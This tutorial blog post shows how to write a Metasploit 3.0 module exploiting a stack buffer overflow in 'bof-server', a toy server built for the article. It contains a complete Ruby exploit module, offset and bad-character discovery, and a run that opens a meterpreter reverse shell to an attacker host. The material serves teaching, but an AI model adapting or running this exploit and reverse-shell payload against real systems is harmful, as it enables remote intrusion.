Writing exploits for Metasploit 3.0

This article is about writing exploit using the Metasploit Framework, for very secure software: bof-server ;)

Bof-server has been written especially to be exploited during this article, and as you already guessed by looking at it's name, we will exploit a stack overflow bug. You can find bof-server here:

Before starting I would like to say that I am not a Metasploit expert, so feel free to correct me if something is not done the right way.

Bof-server

First of all, lets see how bof-server works. To start it on port 4242 use the command below:

> bof-server.exe 4242

The bof-server implements 2 commands : version and quit. Here is a typical usage of this highly critical application :) :

> telnet localhost 4242
> version
bof-server v0.01
> quit

Bof-server's bug

Our bof-server permits remote code execution due to a stack based buffer overflow introduced by the getl(int fd, char *s) function.

If you need more informations regarding stack based overflows you can read this famous article from Aleph1 Smashing the stack for fun and profit .

By passing long lines to bof-server, we will crash it :

> perl -e "print 'A'x1024" | nc localhost 4242
> telnet localhost 4242
Connecting To localhost...Could not open connection to the host, on port 4242: Connect failed

Exploitation using Metasploit

Now comes the interesting things ... :)

To make a metasploit exploit module, the easiest way to start is to create myexploit.rb in the modules/exploits/os/type/ metasploit subdirectory.

In our case, we will create modules/exploits/windows/dummy/bof-server.rb containing this code:

require 'msf/core'
module Msf
  # class name should reflect directories
  class Exploits::Windows::Dummy::BofServer < Msf::Exploit::Remote
    include Exploit::Remote::Tcp

    # exploit relative informations
    def initialize(info = {})
      super(update_info(info,
                        'Name'           => 'bof-server exploit',
                        'Description'    => 'This is an exploit for bof-server v0.01',
                        'Author'         => 'xipe', # You ;)
                        'Version'        => '1.0',
                        'Payload'        =>
                        {
                          'Space'    => 1024, # Space that payload can use.
                                              # We don't know yet
                          'BadChars' => "\x00", # Chars that payloads should not
                                                # contains. We don't know yet
                        },
                        'Platform'   => 'win',
                        'Targets'    =>
                        [
                         [ 'Windows XP SP2 English',
                             {
                               'Platform' =>'win',
                               'Ret' => 0xaaaaaaaa # Return address. We don't know yet
                             }
                          ],
                        ],
                        'DefaultTarget' => 0))
    end

    def check
      # Here we should check if the target is vulnerable
      # This function should not crash the target
    end

    def exploit
      # Here we should exploit the target
    end
  end
end

Now it's time to get missing informations, we already know that sending 1024 bytes of data makes our server crash.

Metasploit gives a very cool tool which permits you to know how many bytes need to be sent to fill the remote buffer and crash the target. This tool is composed of 2 scripts: pattern_create.rb and pattern_offset.rb.

We will not use pattern_create.rb, but the pattern_create() function in your exploit script instead.

Here is your new exploit function of our script:

def exploit
  # Here we should exploit the target
  connect
  buf = pattern_create(1024)
  sock.put(buf)
  sock.get
  disconnect
end

We can now fire-up our preferred debugger, attach the bof-server process, and start our exploit using msf_cli.

> msfcli windows/dummy/bof-server PAYLOAD=windows/meterpreter/bind_tcp RPORT=4242 RHOST=127.0.0.1 E

The bof-server should have crashed. Giving the crashing EIP address to pattern_offset.rb will return us how many bytes are needed to reach the saved return value.

> pattern_offset.rb 72413372
520

As you can see pattern_offest.rb returned 520, so 520 bytes + 4 are necessary to make the target crash.

Looking at the stack we should also be able to find the start address of the overflowed buffer (Here I got 0x22fb65).

We now have quite all the informations we needed for our exploit. The only things remaining are the BadChars.

BadChars are characters that should not be sent to the target, because the target modifies them, or behaves differently when finding them.

Again, in our debugger, by looking at the assembly code (around 0x4146D) we found that the target is doing something special with the 0x0A, 0x0D and 0x20 characters.

Using all this informations we are now able to put them in our exploit script.

Our exploit script looks like this:

require 'msf/core'
module Msf
  # class name should reflect directories
  class Exploits::Windows::Dummy::BofServer < Msf::Exploit::Remote
    include Exploit::Remote::Tcp

    # exploit relative informations
    def initialize(info = {})
      super(update_info(info,
                        'Name'           => 'bof-server exploit',
                        'Description'    => 'This is an exploit for bof-server v0.01',
                        'Author'         => 'xipe', # You ;)
                        'Version'        => '1.0',
                        'Payload'        =>
                        {
                          'Space'    => 500, # Space that payload can use.
                                             # We found that we needed 520 bytes to make the
                                             # bof-server crash, but we will only use 500, as
                                             # the end of this space can be modified by the target
                                             # before returning.
                          'StackAdjustment' => -3500, # Modify stack pointer at shellcode start
                                                      # so it can use the stack without writing
                                                      # on itself.
                          'BadChars' => "\x00\x20\x0D\x0A", # Chars that payloads should not
                                                            # contains.
                        },
                        'Platform'   => 'win',
                        'Targets'    =>
                        [
                         [ 'Windows XP SP2 English',
                             {
                               'Platform' =>'win',
                               'Ret' => 0x22fb65 # Return address.
                             }
                          ],
                        ],
                        'DefaultTarget' => 0))
    end

    def check
      # Here we should check if the target is vulnerable
      # This function should not crash the target
      connect
      buf = "version\n"
      sock.put(buf)
      res = sock.get
      disconnect
      if res =~ /bof-server v0.01/
        return Exploit::CheckCode::Vulnerable
      end
      return Exploit::CheckCode::Safe
    end

    def exploit
      # Here we should exploit the target
      connect
      buf = payload.encoded # Size of the payload is defined by Payload.Space in exploit infos.
      buf << make_nops(20) # Some more bytes, as we defined the payload to be 500 bytes long
      buf << [target.ret].pack('V') # Return address
      sock.put(buf) # send data
      sock.get

      handler # pass the connection to the payload handler
      disconnect
    end
  end
end

The only remaing thing is to test our exploit and to have fun :

> msfcli windows/dummy/bof-server PAYLOAD=windows/meterpreter/reverse_tcp RPORT=4242 RHOST=172.20.0.2 LHOST=172.20.0.1 E
[*] Started reverse handler
[*] Transmitting intermediate stager for over-sized stage...(89 bytes)
[*] Sending stage (2834 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (81931 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (172.20.0.1:4444 -> 172.20.0.2:1109)

meterpreter > ls

Listing: Z:\work\test\exploit\metasploit
========================================

Mode              Size   Type  Last modified                   Name
----              ----   ----  -------------                   ----
40777/rwxrwxrwx   0      dir   Thu Jan 01 01:00:00 +0100 1970  .
40777/rwxrwxrwx   0      dir   Thu Jan 01 01:00:00 +0100 1970  ..
100666/rw-rw-rw-  3001   fil   Thu Jan 01 01:00:00 +0100 1970  .gdbtkinit
100666/rw-rw-rw-  26814  fil   Thu Jan 01 01:00:00 +0100 1970  bof-server
100666/rw-rw-rw-  3200   fil   Thu Jan 01 01:00:00 +0100 1970  bof-server.c
100666/rw-rw-rw-  3211   fil   Thu Jan 01 01:00:00 +0100 1970  bof-server.c~
100777/rwxrwxrwx  26665  fil   Thu Jan 01 01:00:00 +0100 1970  bof-server.exe
100666/rw-rw-rw-  2880   fil   Thu Jan 01 01:00:00 +0100 1970  bof-server.o

meterpreter >

I hope you had as much fun as I had while writing this article, and I would like to thanks all the Metasploit team for giving us a such cool framework !

Comments !